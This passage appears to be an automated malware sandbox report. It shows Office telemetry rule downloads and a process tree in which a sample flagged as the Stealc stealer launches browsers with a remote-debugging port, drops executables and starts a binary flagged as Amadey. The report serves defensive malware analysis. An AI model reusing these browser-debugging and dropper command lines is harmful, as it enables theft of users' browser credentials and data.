2024-11-17 11:35:43 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: fffac850-701e-0098-3309-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113543Z-16547b76f7fz92z5hC1DFWmdx800000002g00000000082c9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49930	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:43 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 70ecc3c7-201e-005d-13af-36afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113543Z-1866b5c5fbbvz6qbhC1DFWsyms00000003a000000000db9s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	49932	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:43 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 43e62ce9-c01e-00a1-039c-377e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113543Z-1866b5c5fbbkbjq9hC1DFWf1es0000000370000000003asx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	49931	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:43 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: bbb23919-f01e-005d-46d2-3713ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113543Z-16547b76f7f6892shC1DFWawd0000000018g000000004z8b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	49933	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:43 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:43 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 769defec-e01e-0085-6a89-38c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113543Z-164f84587bfh9nvdhC1DFWmce0000000023000000000aqxp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:43 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	49934	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:43 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:43 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 752b16b4-801e-0067-02c3-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113543Z-164f84587bf6n6jwhC1DFW90fn00000003a000000000dhkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:44 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	49935	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:44 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:44 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:44 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 7df85bc9-601e-000d-7a26-372618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113544Z-164f84587bf7jb9dhC1DFWkay400000003v00000000091tq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 11:35:44 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	49936	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 11:35:44 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 11:35:44 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 11:35:44 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 2afe2566-001e-008d-7eb1-37d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T113544Z-16547b76f7fljddfhC1DFWeqbs000000054g0000000029xc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 11:35:44 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Target ID:	0
Start time:	06:35:01
Start date:	17/11/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x6e0000
File size:	1'821'184 bytes
MD5 hash:	DA6B9CD7867D565CB1DA841407849C4F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2569376590.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2571128740.000000000132E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2086228591.00000000050A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	06:35:12
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:35:14
Start date:	17/11/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1892 --field-trial-handle=1992,i,12706456315753222113,8873599955583022183,262144 /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:35:22
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:35:22
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2460 --field-trial-handle=2400,i,6581294716283398080,17748200714867695164,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:35:22
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:35:24
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2684 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:3
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	06:35:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6948 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:35:29
Start date:	17/11/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7260 --field-trial-handle=2696,i,7346528989139132674,339201961731853870,262144 /prefetch:8
Imagebase:	0x7ff6c1cf0000
File size:	4'210'216 bytes
MD5 hash:	69222B8101B0601CC6663F8381E7E00F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	06:35:50
Start date:	17/11/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCGDGCFBAEG.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	06:35:50
Start date:	17/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	06:35:50
Start date:	17/11/2024
Path:	C:\Users\user\DocumentsCGDGCFBAEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\DocumentsCGDGCFBAEG.exe"
Imagebase:	0x750000
File size:	1'974'784 bytes
MD5 hash:	266A3815610D8CF2152B7935F676A542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000002.2663151465.0000000000751000.00000040.00000001.01000000.0000000B.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000016.00000003.2575038334.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	06:35:59
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Imagebase:	0x1a0000
File size:	1'974'784 bytes
MD5 hash:	266A3815610D8CF2152B7935F676A542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000003.2673688433.00000000052B0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000017.00000002.2714143014.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	06:36:00
Start date:	17/11/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x1a0000
File size:	1'974'784 bytes
MD5 hash:	266A3815610D8CF2152B7935F676A542
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000002.2718840305.00000000001A1000.00000040.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000018.00000003.2678496819.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	06:36:24
